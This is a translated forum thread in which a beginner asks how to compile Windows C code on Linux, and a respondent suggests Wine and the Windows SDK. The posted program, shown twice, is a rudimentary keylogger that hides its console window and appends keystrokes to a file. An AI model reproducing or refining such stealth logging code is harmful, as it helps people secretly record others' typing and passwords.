Allaye Ответов: 1

Кросс-компилятор для linux


gud day guys, я начинаю работать на c++ и использую linux при написании приложения для windows, но я всегда получаю ошибку при компиляции кодов, которые включают в себя эти связанные с windows заголовочные файлы, такие как windows.h и т. д...


# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}


Что я уже пробовал:

# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}

1 Ответов

Рейтинг:
1

Richard MacCutchan

Это потому, что Linux-это не Windows. Вам нужно получить доступ к эмулятору Windows, см. Windows на linux - поиск в Google[^].


Allaye

Спасибо за ваше предложение, но я просил кросс-компилятор, который позволит мне компилировать коды, содержащие эти заголовки, предназначенные для windows ....

Richard MacCutchan

Вам не нужен кросс-компилятор, вам нужен Windows SDK на Linux. И единственный способ сделать это-использовать эмулятор Windows, работающий на Linux.

Allaye

большое спасибо, какой эмулятор, по-вашему, я должен использовать....? так что с помощью эмулятора я смогу правильно скомпилировать коды......

Richard MacCutchan

Сам я этого не делал, но чаще всего рекомендуют вино.

Allaye

у меня уже есть вино на Linux ... но я все еще не могу получить коды для компиляции

Richard MacCutchan

Вы установили Windows SDK?

Allaye

сделали это....
могу ли я использовать visual studio для компиляции этих кодов

Richard MacCutchan

Если он будет течь в вине, то да. единственный способ ответить на такие вопросы-это испытать его на себе.